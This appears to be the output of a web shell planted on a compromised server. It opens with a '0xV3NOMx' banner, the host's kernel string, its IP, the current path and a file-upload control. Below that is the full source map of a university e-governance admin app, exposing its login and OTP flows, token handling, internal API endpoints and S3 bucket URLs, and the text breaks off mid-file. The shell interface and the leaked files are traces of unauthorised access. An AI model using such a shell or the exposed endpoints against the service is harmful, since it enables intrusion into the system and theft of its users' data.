0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.147.82.22


Current Path : /var/www/egov/build/static/js/
Upload File :
Current File : /var/www/egov/build/static/js/4.f5218ce3.chunk.js.map

{"version":3,"sources":["actions/index.js","apis/univadmin.js","apis/consts.js","actions/registration/loginRegn.js","containers/DefaultLayout/errorMessage.js"],"names":["fetchDegGrp","_ref","Object","_Users_prashanth_univadmin_react_node_modules_babel_preset_react_app_node_modules_babel_runtime_helpers_esm_asyncToGenerator__WEBPACK_IMPORTED_MODULE_1__","_Users_prashanth_univadmin_react_node_modules_babel_preset_react_app_node_modules_babel_runtime_regenerator__WEBPACK_IMPORTED_MODULE_0___default","a","mark","_callee","dispatch","getState","state","response","wrap","_context","prev","next","univ","funivcode","abrupt","univadmin","get","params","univcode","user","fcuruniv","usertype","fcurtype","college","fcollcode","sent","data","type","payload","error_code","msg","status","types","stop","_x","_x2","apply","this","arguments","fetchDegrees","deggrp","_ref2","_callee2","_error","_context2","showError","header","content","error","_x3","_x4","fetchUnivs","_ref3","_callee3","_context3","headers","Content-Type","_x5","_x6","fetchRefundList","refundData","_ref5","_callee5","_error2","_context5","post","_x9","_x10","changeRefundData","el","i","console","log","updateRefundDet","upRefundData","_ref6","_callee6","_error3","success","_context6","userid","fuserid","_x11","_x12","fetchCntrList","_ref7","_callee7","_context7","_x13","_x14","changeCntrList","saveCntrList","centrelist","degreeGroup","_ref8","_callee8","_context8","fdeggrp","cntrlist","setError","_x15","_x16","compileQpIndent","funivcopy","fstatus","_ref10","_callee10","_error4","_error5","_context10","univcopy","_x19","_x20","getReport","rt","rf","fdeggrpfrm","fdeggrpto","fcollfrm","fcollto","_ref11","_callee11","api","_context11","val","format","deggrpfrm","deggrpto","collfrm","collto","_x21","_x22","fetchFaculty","_ref12","_callee12","_error6","_context12","_x23","_x24","closeError","unsetError","changett","id","_ref13","_callee13","_context13","_x25","_x26","getExamNo","degree","_ref14","_callee14","_error7","_context14","_x27","_x28","fetchBoards","_ref15","_callee15","_error8","_context15","_x29","_x30","fetchDailyValuation","valuationParams","_ref16","_callee16","_error9","_context16","dateFrom","dateTo","boardFrom","boardfrom","boardTo","boardto","_x31","_x32","saveInviteData","inviteParams","saveInviteList","_ref17","_callee17","_error10","_context17","board","fdegree","taechdet","usr","fname","_x33","_x34","clearDailyValuation","fetchRvPcReport","sendParams","_ref18","_callee18","_error11","_context18","qpcodeFrom","qpcodeTo","regnoFrom","regnoTo","correctionType","reportType","actionType","_x35","_x36","saveRvRtCheckList","_ref19","_callee19","_error12","_context19","_x37","_x38","getDropDownOptions","_ref20","_callee20","_error13","_context20","_x39","_x40","axios__WEBPACK_IMPORTED_MODULE_0__","__webpack_require__","axios__WEBPACK_IMPORTED_MODULE_0___default","n","_consts__WEBPACK_IMPORTED_MODULE_1__","http","axios","create","baseURL","API","X-Auth-Origin","interceptors","request","use","config","token","localStorage","getItem","Promise","reject","d","__webpack_exports__","ReportAPI","SPAPI","S3ATTACH","MarksEntry","window","location","protocol","history","createHistory","login","loginCred","fmobileno","fpasswd","X-Auth-Type","catch","undefined","push","islogin","univs","curuniv","filter","setCurUniv","getMenus","changePassword","_ref4","_callee4","_context4","_x7","_x8","changeMobSendOTP","changeMobileNo","getStates","getUnivs","statecode","regn","fstate","validateRegno","_ref9","_callee9","_error14","_context9","regno","_x17","_x18","changeRegn","name","value","validatemob","_error15","mobile","email","femail","sendOTP","_error16","password","signup","_error17","motp","fmotp","eotp","feotp","sendFgtOtp","_error18","_error19","fgtpasswd","resetPassword","_error20","mobileno","otp","clearRegn","changefgt","clearFgt","logout","setCurUserType","setDegreeGroup","ErrorModal","close","_this","props","_this$props$error","open","size","bgcolor","react__WEBPACK_IMPORTED_MODULE_5___default","createElement","semantic_ui_react__WEBPACK_IMPORTED_MODULE_9__","dimmer","style","maxHeight","width","onClose","Header","color","backgroundColor","concat","padding","Content","Actions","semantic_ui_react__WEBPACK_IMPORTED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AAO,CACLA,KAAM,gBACNC,QAASD,IAIAkS,EAAiB,SAAAnS,GAC5B,MAAO,CACLC,KAAM,aACNC,QAASF,qJCvgBPoS,6MAUJC,MAAQ,kBAAMC,EAAKC,MAAMtL,sFAEhB,IAAAuL,EACiC7R,KAAK4R,MAAMjR,MAA3CmR,EADDD,EACCC,KAAMC,EADPF,EACOE,KAAMtR,EADboR,EACapR,OAAQC,EADrBmR,EACqBnR,QACtBsR,EAAqB,UAAXvR,EAAqB,UAAY,UACjD,OACEwR,EAAArU,EAAAsU,cAAA,WACED,EAAArU,EAAAsU,cAACC,EAAA,EAAD,CACEC,OAAO,WACPC,MAAO,CAAEC,UAAW,OAAQC,MAAO,QACnCR,KAAMA,EACND,KAAMA,EACNU,QAASxS,KAAK0R,OAEdO,EAAArU,EAAAsU,cAACC,EAAA,EAAMM,OAAP,CACEJ,MAAO,CACLK,MAAO,OACPC,gBAAe,GAAAC,OAAKZ,GACpBa,QAAS,cAGVpS,GAEHwR,EAAArU,EAAAsU,cAACC,EAAA,EAAMW,QAAP,CAAeT,MAAO,CAAEC,UAAW,SACjCL,EAAArU,EAAAsU,cAAA,SACED,EAAArU,EAAAsU,cAAA,SAAIxR,KAGRuR,EAAArU,EAAAsU,cAACC,EAAA,EAAMY,QAAP,KACEd,EAAArU,EAAAsU,cAACc,EAAA,EAAD,CAEEX,MAAO,CAAEQ,QAAS,aAClBH,MAAM,OACNX,KAAK,OACLkB,OAAK,EACLC,QAASlT,KAAK0R,MACdhR,QAAQ,iBA9CGyS,aA2DVC,gBAJS,SAAAnV,GACtB,MAAO,CAAE0C,MAAO1C,EAAMoV,WAGgB,CACtC/M,gBADa8M,CAEZ3B","file":"static/js/4.f5218ce3.chunk.js","sourcesContent":["import univadmin from \"../apis/univadmin\";\nimport * as types from \"../types\";\nimport { send } from \"q\";\n\nexport const fetchDegGrp = () => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    if (state.univ.funivcode == \"\") return;\n\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"getDegreeGroup\",\n        univcode: state.user.fcuruniv,\n        usertype: state.user.fcurtype,\n        college: state.user.fcollcode,\n      },\n    });\n\n    if (typeof response.data !== \"object\") {\n      const data = {\n        error_code: -1,\n        data: {\n          msg: \"Something went wrong\",\n        },\n        status: \"failure\",\n      };\n      dispatch({ type: \"SET_ERROR\", payload: data });\n    } else if (response.data.error_code === -1) {\n      dispatch({ type: \"SET_ERROR\", payload: response.data });\n    } else {\n      dispatch({ type: types.FETCH_DEGGRP, payload: response.data });\n    }\n  };\n};\n\nexport const fetchDegrees = (deggrp) => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"getDegrees\",\n        deggrp: deggrp,\n        univcode: state.univ.funivcode,\n      },\n    });\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong\",\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      dispatch({ type: types.FETCH_DEGREES, payload: response.data });\n    } else {\n      const error = {\n        header: \"Error\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const fetchUnivs = () => {\n  return async function (dispatch, getState) {\n    const response = await univadmin.get(\"/app.php\", {\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      params: {\n        a: \"getUnivs\",\n      },\n    });\n    dispatch({ type: \"FETCH_UNIVS\", payload: response.data });\n  };\n};\n\n// Student Related Actions\n\n// Seting the register no in student screen\nexport const setRegno = (regno) => {\n  return { type: \"SET_REGNO\", payload: regno };\n};\n\nexport const fetchStudentInfo = (studid) => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"getStudentInfo\",\n        studid: studid,\n        univcode: state.univ.funivcode,\n      },\n    });\n\n    dispatch({ type: \"FETCH_STUD_INFO\", payload: response.data });\n  };\n};\n\nexport const fetchRefundList = (refundData) => {\n  return async function (dispatch, getState) {\n    const state = getState();\n\n    const response = await univadmin.post(\n      \"/app.php?a=getRefundAppList&univcode=\" + state.univ.funivcode,\n      { data: refundData }\n    );\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong\",\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === -1) {\n      const error = {\n        header: \"Error\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n    } else {\n      dispatch({ type: \"GET_REFUND_LIST\", payload: response.data.data });\n    }\n  };\n};\n\nexport const changeRefundData = (el, i) => {\n  console.log(\"action\", el, i);\n  return {\n    type: \"CHANGE_REFUND_DET\",\n    payload: {\n      el,\n      i,\n    },\n  };\n};\n\nexport const updateRefundDet = (upRefundData) => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    dispatch({ type: \"SET_LOADER\" });\n\n    const response = await univadmin.post(\n      \"/app.php?a=updateRefund&univcode=\" + state.univ.funivcode,\n      {\n        data: upRefundData,\n        userid: state.user.fuserid,\n      }\n    );\n    dispatch({ type: \"UNSET_LOADER\" });\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong\",\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === -1) {\n      const error = {\n        header: \"Error\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n    } else {\n      console.log(\"responseDataMsg\", response.data.data.msg);\n      const success = {\n        header: \"Success\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(success));\n      dispatch({ type: \"EMPTY_REFUND_LIST\", payload: response.data });\n    }\n  };\n};\n\nexport const fetchCntrList = (deggrp) => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    dispatch({ type: \"SET_LOADER\" });\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"getCentresForUpdation\",\n        deggrp: deggrp,\n        univcode: state.univ.funivcode,\n      },\n    });\n    dispatch({ type: \"UNSET_LOADER\" });\n\n    if (typeof response.data !== \"object\") {\n      const data = {\n        error_code: -1,\n        data: {\n          msg: \"Something went wrong\",\n        },\n        status: \"failure\",\n      };\n      dispatch({ type: \"SET_ERROR\", payload: data });\n    } else if (response.data.error_code === 0) {\n      dispatch({ type: \"FETCH_EXAM_CENTRES\", payload: response.data });\n    } else {\n      dispatch({ type: \"SET_ERROR\", payload: response.data });\n    }\n  };\n};\n\nexport const changeCntrList = (data) => {\n  return { type: \"CHANGE_EXAM_CENTRES\", payload: data };\n};\n\nexport const saveCntrList = (centrelist, degreeGroup) => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    dispatch({ type: \"SET_LOADER\" });\n    const response = await univadmin.post(\n      \"/app.php?a=saveUpdatedCentres&univcode=\" + state.univ.funivcode,\n      {\n        data: {\n          fdeggrp: degreeGroup,\n          cntrlist: centrelist,\n        },\n      }\n    );\n\n    dispatch({ type: \"UNSET_LOADER\" });\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        error_code: -1,\n        data: {\n          msg: \"Something went wrong wile Saving Exam Centres.\",\n        },\n        status: \"failure\",\n      };\n      dispatch(setError(error));\n    } else {\n      dispatch(setError(response.data));\n    }\n  };\n};\n\nexport const saveDegreeGroup = (degreeGroup, delDegreeGroup) => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.post(\n      \"/app.php?a=saveDegreeGroup&univcode=\" + state.univ.funivcode,\n      {\n        data: {\n          deggrp: degreeGroup,\n          deldeggrp: delDegreeGroup,\n        },\n      }\n    );\n    if (typeof response.data !== \"object\") {\n      const error = {\n        error_code: -1,\n        data: {\n          msg: \"Something went wrong wile Saving Degree Group.\",\n        },\n        status: \"failure\",\n      };\n      dispatch(setError(error));\n    } else {\n      dispatch(setError(response.data));\n    }\n  };\n};\n\nexport const compileQpIndent = (fdeggrp, funivcopy, fstatus) => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    dispatch({ type: \"SET_LOADER\" });\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"compileQpIndent\",\n        deggrp: fdeggrp,\n        univcopy: funivcopy,\n        univcode: state.univ.funivcode,\n        fstatus: fstatus,\n      },\n    });\n    dispatch({ type: \"UNSET_LOADER\" });\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong\",\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === -1) {\n      const error = {\n        header: \"Error\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n    } else {\n      const error = {\n        header: \"Success\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const getReport = (\n  rt,\n  rf,\n  deggrp,\n  fdeggrpfrm,\n  fdeggrpto,\n  fcollfrm,\n  fcollto\n) => {\n  return async (dispatch, getState) => {\n    const state = getState();\n    let api = \"\";\n    if (rt === \"Active College List\") api = \"getActiveCollegeList\";\n    else if (rt === \"Center College List\") api = \"getCenterList\";\n    else if (rt === \"Center List With Tagged Colleges\")\n      api = \"getCntWiseColgList\";\n\n    dispatch({ type: \"SET_LOADER\" });\n    const response = await univadmin.get(\"/app.php\", {\n      headers: {\n        \"Content-Type\": \"application/x-www-form-urlencoded\",\n      },\n      params: {\n        a: api,\n        val: rt,\n        format: rf,\n        deggrp: deggrp,\n        deggrpfrm: fdeggrpfrm,\n        deggrpto: fdeggrpto,\n        collfrm: fcollfrm,\n        collto: fcollto,\n        univcode: state.univ.funivcode,\n      },\n    });\n\n    dispatch({ type: \"UNSET_LOADER\" });\n    if (typeof response.data !== \"object\") {\n      const data = {\n        error_code: -1,\n        data: {\n          msg: \"Something went wrong\",\n        },\n        status: \"failure\",\n      };\n      dispatch({ type: \"SET_ERROR\", payload: data });\n    } else if (response.data.error_code === 0) {\n      dispatch({ type: \"FETCH_COLG_REPORT\", payload: response.data });\n    } else {\n      dispatch({ type: \"SET_ERROR\", payload: response.data });\n    }\n  };\n};\nexport const fetchFaculty = () => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"getfaculty\",\n        univcode: state.univ.funivcode,\n      },\n    });\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong\",\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === -1) {\n      const error = {\n        header: \"Error\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n    } else {\n      dispatch({ type: \"GET_FACULTY\", payload: response.data });\n    }\n  };\n};\n\nexport const showError = (error) => {\n  return { type: \"SHOW_ERROR\", payload: error };\n};\n\nexport const closeError = () => {\n  return { type: \"CLOSE_ERROR\" };\n};\n\nexport const setError = (error) => {\n  return { type: \"SET_ERROR\", payload: error };\n};\n\nexport const unsetError = () => {\n  return { type: \"UNSET_ERROR\" };\n};\n\nexport const changett = (el, id) => {\n  return async function (dispatch, getState) {\n    const data = { el, id };\n    await dispatch({\n      type: \"UPDATE_TIMETABLE\",\n      payload: data,\n    });\n  };\n};\n\nexport const getExamNo = (degree) => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"getSubExamNo\",\n        fdeggrp: state.user.fdeggrp,\n        univcode: state.univ.funivcode,\n        degree: degree,\n      },\n    });\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong\",\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      dispatch({ type: \"FETCH_EXAMNO\", payload: response.data });\n    } else {\n      const error = {\n        header: \"Error\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const fetchBoards = () => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"getboard\",\n        univcode: state.univ.funivcode,\n      },\n    });\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong\",\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === -1) {\n      const error = {\n        header: \"Error\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n    } else {\n      dispatch({ type: \"GET_BOARD\", payload: response.data });\n    }\n  };\n};\n\nexport const fetchDailyValuation = (valuationParams) => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    // console.log(\"validationParams\", valuationParams);\n    dispatch({ type: \"SET_LOADER\" });\n\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"dailyValuation\",\n        univcode: state.univ.funivcode,\n        dateFrom: valuationParams.dateFrom,\n        dateTo: valuationParams.dateTo,\n        boardFrom: valuationParams.boardfrom,\n        boardTo: valuationParams.boardto,\n      },\n    });\n    //console.log(\"fetchDailyValuation\", response);\n    dispatch({ type: \"UNSET_LOADER\" });\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong\",\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === -1) {\n      const error = {\n        header: \"Error\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n    } else {\n      dispatch({ type: \"GET_DAILY_VALUATION\", payload: response.data });\n    }\n  };\n};\n\nexport const saveInviteData = (inviteParams) => {\n  return {\n    type: \"SAVE_INVITE_DATA\",\n    payload: inviteParams,\n  };\n};\n\nexport const saveInviteList = (inviteParams) => {\n  console.log(\"inviteParams\", inviteParams);\n  return async function (dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.post(\n      \"/app.php?a=saveteachvalapi&univcode=\" + state.univ.funivcode,\n      {\n        data: {\n          deggrp: state.user.deggrp,\n          univcode: state.univ.funivcode,\n          board: state.user.fdegree,\n          taechdet: inviteParams,\n          usr: state.user.fname,\n        },\n      }\n    );\n\n    console.log(\"saveInviteListResponse\", saveInviteList);\n\n    console.log(\"sssss\", response.data);\n    if (typeof response.data !== \"object\") {\n      const error = { header: \"Error\", content: \"Something went wrong\" };\n      dispatch(showError(error));\n    } else if (response.data.error_code === -1) {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    } else {\n      const success = { header: \"Success\", content: response.data.data.msg };\n      dispatch(showError(success), {\n        type: \"SAVE_INVITE_LIST\",\n        payload: response.data,\n      });\n    }\n  };\n};\n\nexport const clearDailyValuation = () => {\n  return { type: \"CLEAR_DAILY_VALUATION\" };\n};\n\nexport const fetchRvPcReport = (sendParams) => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    // console.log(\"validationParams\", valuationParams);\n    dispatch({ type: \"SET_LOADER\" });\n\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"getRvPcReport\",\n        univcode: state.univ.funivcode,\n        dateFrom: sendParams.dateFrom,\n        dateTo: sendParams.dateTo,\n        qpcodeFrom: sendParams.qpcodeFrom,\n        qpcodeTo: sendParams.qpcodeTo,\n        regnoFrom: sendParams.regnoFrom,\n        regnoTo: sendParams.regnoTo,\n        correctionType: sendParams.correctionType,\n        status: sendParams.status,\n        reportType: sendParams.reportType,\n        fdeggrp: sendParams.fdeggrp,\n      },\n    });\n    //console.log(\"fetchDailyValuation\", response);\n    dispatch({ type: \"UNSET_LOADER\" });\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong\",\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === -1) {\n      const error = {\n        header: \"Error\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n      dispatch({ type: \"EMPTY\", payload: response.data });\n    } else {\n      dispatch({ type: sendParams.actionType, payload: response.data });\n    }\n  };\n};\n\n// export const fetchDailyValuation = (valuationParams) => {\n//   return async function (dispatch, getState) {\n//     const state = getState();\n//     // console.log(\"validationParams\", valuationParams);\n//     dispatch({ type: \"SET_LOADER\" });\n\n//     const response = await univadmin.get(\"/app.php\", {\n//       params: {\n//         a: \"dailyValuation\",\n//         univcode: state.univ.funivcode,\n//         dateFrom: valuationParams.dateFrom,\n//         dateTo: valuationParams.dateTo,\n//         boardFrom: valuationParams.boardfrom,\n//         boardTo: valuationParams.boardto\n//       }\n//     });\n//     //console.log(\"fetchDailyValuation\", response);\n//     dispatch({ type: \"UNSET_LOADER\" });\n\n//     if (typeof response.data !== \"object\") {\n\n//       const error = {\n//         header: \"Error\",\n//         content: \"Something went wrong\"\n//       };\n//       dispatch(showError(error));\n//     } else if (response.data.error_code === -1) {\n//       const error = {\n//         header: \"Error\",\n//         content: response.data.data.msg\n//       };\n//       dispatch(showError(error));\n//     } else {\n//       dispatch({ type: \"GET_DAILY_VALUATION\", payload: response.data });\n//     }\n//   };\n// };\n\n// export const clearDailyValuation = () => {\n//   return { type: \"CLEAR_DAILY_VALUATION\" };\n// };\n\nexport const saveRvRtCheckList = (sendParams) => {\n  console.log(\"sendParams\", sendParams);\n  return async function (dispatch, getState) {\n    const state = getState();\n    // console.log(\"validationParams\", valuationParams);\n    dispatch({ type: \"SET_LOADER\" });\n\n    const response = await univadmin.post(\n      \"/app.php?a=updateChkListDet&univcode=\" + state.univ.funivcode,\n      { data: sendParams }\n    );\n    //console.log(\"fetchDailyValuation\", response);\n    dispatch({ type: \"UNSET_LOADER\" });\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong\",\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === -1) {\n      const error = {\n        header: \"Error\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n    } else {\n      dispatch({ type: \"GET_DAILY_VALUATION\", payload: response.data });\n    }\n  };\n};\n\nexport const getDropDownOptions = () => {\n  return async function (dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.get(\"/app.php\", {\n      params: {\n        a: \"getDropDownOptions\",\n        univcode: state.univ.funivcode,\n      },\n    });\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong\",\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === -1) {\n      const error = {\n        header: \"Error\",\n        content: response.data.data.msg,\n      };\n      dispatch(showError(error));\n    } else {\n      dispatch({ type: \"GET_DROP_DOWN_OPTIONS\", payload: response.data });\n    }\n  };\n};\n","import axios from 'axios';\nimport { API } from './consts';\nconst getToken = () => {\n    return localStorage.getItem(\"logtoken\");\n}\n\nconst http = axios.create({\n    baseURL: API,\n    headers: {\n        'X-Auth-Origin': 'E-GOVERNANCE'\n    }\n});\n\nhttp.interceptors.request.use(\n    function (config) {\n        const token = getToken();\n        if (token) config.headers['X-Auth-Token'] = token;\n        return config;\n    },\n    function (error) {\n        return Promise.reject(error);\n    }\n);\n\nexport default http;\n","// export const ReportAPI = \"http://192.168.0.32/univadmin/app.php?a=\";\n\nexport const ReportAPI =\n  window.location.protocol + \"//universitysolutions.in/univadmin/app.php?a=\";\n// export const ReportAPI = \"http://localhost/univadmin/app.php?a=\";\n\n// export const API = \"http://192.168.0.32/univadmin\";\nexport const API =\n  window.location.protocol + \"//universitysolutions.in/univadmin\";\n\n  \nexport const SPAPI = \"https://studentportal.universitysolutions.in/\";\n// export const API = \"http://localhost/univadmin\";\n\nexport const S3ATTACH =\n  \"https://university-group-attachment.s3.ap-south-1.amazonaws.com/\";\n\nexport const MarksEntry =\n  \"https://logisys-uploads.s3.ap-south-1.amazonaws.com/\";\n","import univadmin from \"../../apis/univadmin\";\nimport { showError } from \"../index\";\nimport createHistory from \"history/createHashHistory\";\n\nexport const history = createHistory();\n\nexport const login = loginCred => {\n  return async function(dispatch, getState) {\n    let neterror = false;\n    const response = await univadmin\n      .post(\n        \"/app.php?a=eGovSignin\",\n        {\n          data: {\n            fmobileno: loginCred.fmobileno,\n            fpasswd: loginCred.fpasswd\n          }\n        },\n        {\n          headers: {\n            \"X-Auth-Type\": \"LOGREGN\"\n          }\n        }\n      )    \n      .catch(function(error) {\n        neterror = true;\n      });\n      \n    if (response == undefined) {\n      const error = { header: \"Error\", content: \"Network Error\" };\n      dispatch(showError(error));\n      return;\n    }\n\n    if (typeof response.data !== \"object\") {\n      // const data = { error_code: -1, data: { msg: \"Something went wrong\" }, status: \"failure\" }\n      const error = { header: \"Error\", content: \"Something went wrong\" };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      dispatch({\n        type: \"LOGIN\",\n        payload: response.data\n      });\n      // TOKEN = response.data.data.token;\n      history.push(\"/dashboard\");\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const islogin = () => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    const logtoken = localStorage.getItem(\"logtoken\");\n\n    if (logtoken == null) {\n      // alert('please login to access this web App');\n      const error = { header: \"Error\", content: \"Login to access this portal\" };\n      dispatch(showError(error));\n      history.push(\"/\");\n      return;\n    }\n\n    const response = await univadmin.get(\"/app.php?a=eGovIsSignedIn\", {});\n\n    if (typeof response.data !== \"object\") {\n      const error = { header: \"Error\", content: \"Something went wrong\" };\n      dispatch(showError(error));\n      history.push(\"/\");\n    } else if (response.data.error_code === 0) {\n      await dispatch({\n        type: \"USER_INFO\",\n        payload: response.data\n      });\n\n      await dispatch({\n        type: \"FETCH_UNIVS\",\n        payload: response.data\n      });\n      await dispatch({\n        type: \"FETCH_USER_TYPE\",\n        payload: response.data\n      });\n\n      const univs = response.data.data.univs;\n      const curuniv = response.data.data.user.fcuruniv;\n\n      const univ = univs.filter((el, i) => el.funivcode == curuniv);\n\n      await dispatch(setCurUniv(univ[0]));\n      // const control = localStorage.getItem(\"control\");\n      // if (control !== null) dispatch(setDegreeGroup(JSON.parse(control)));\n    } else {\n      const error = { header: \"Error\", content: response.data.msg };\n      dispatch(showError(error));\n      history.push(\"/\");\n    }\n  };\n};\n\nexport const getMenus = () => {\n  return async function(dispatch, getState) {\n    const logtoken = localStorage.getItem(\"logtoken\");\n    if (logtoken == null) {\n      return;\n    }\n    const state = getState();\n    const response = await univadmin.get(\"/app.php?\", {\n      params: {\n        a: \"eGovGetMenus\",\n        univcode: state.user.fcuruniv,\n        usertype: state.user.fcurtype\n      }\n    });\n\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong while fetching menus\"\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      dispatch({\n        type: \"GET_MENUS\",\n        payload: response.data\n      });\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const changePassword = data => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    dispatch({\n      type: \"SET_LOADER\"\n    });\n    const response = await univadmin.post(\n      \"/app.php?a=changePassword&univcode=\" + state.user.fcuruniv,\n      {\n        data,\n        user: state.user\n      }\n    );\n    dispatch({\n      type: \"UNSET_LOADER\"\n    });\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong \"\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      const error = { header: \"Success\", content: response.data.data.msg };\n      dispatch(showError(error));\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const changeMobSendOTP = data => {\n  return async function(dispatch, getState) {\n    const state = getState();\n\n    const response = await univadmin.post(\n      \"/app.php?a=changeMobSendOTP&univcode=\" + state.user.fcuruniv,\n      {\n        data,\n        user: state.user\n      }\n    );\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong \"\n      };\n      dispatch(showError(error));\n      return -1;\n    } else if (response.data.error_code === 0) {\n      const error = { header: \"Success\", content: response.data.data.msg };\n      dispatch(showError(error));\n      return 0;\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n      return -1;\n    }\n  };\n};\n\nexport const changeMobileNo = data => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    dispatch({\n      type: \"SET_LOADER\"\n    });\n    const response = await univadmin.post(\n      \"/app.php?a=changeMobileNo&univcode=\" + state.user.fcuruniv,\n      {\n        data,\n        user: state.user\n      }\n    );\n    dispatch({\n      type: \"UNSET_LOADER\"\n    });\n    if (typeof response.data !== \"object\") {\n      const error = {\n        header: \"Error\",\n        content: \"Something went wrong \"\n      };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      const error = { header: \"Success\", content: response.data.data.msg };\n      dispatch(showError(error));\n      history.push(\"/\");\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const getStates = () => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.get(\"/app.php?\", {\n      params: {\n        a: \"uniclareGetStates\"\n      },\n      headers: {\n        \"X-Auth-Type\": \"LOGREGN\"\n      }\n    });\n\n    if (typeof response.data !== \"object\") {\n      const error = { header: \"Error\", content: \"Something went wrong\" };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      dispatch({\n        type: \"GET_STATES\",\n        payload: response.data\n      });\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const getUnivs = () => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.get(\"/app.php?\", {\n      params: {\n        a: \"uniclareGetUnivs\",\n        statecode: state.regn.fstate\n      },\n      headers: {\n        \"X-Auth-Type\": \"LOGREGN\"\n      }\n    });\n\n    if (typeof response.data !== \"object\") {\n      const error = { header: 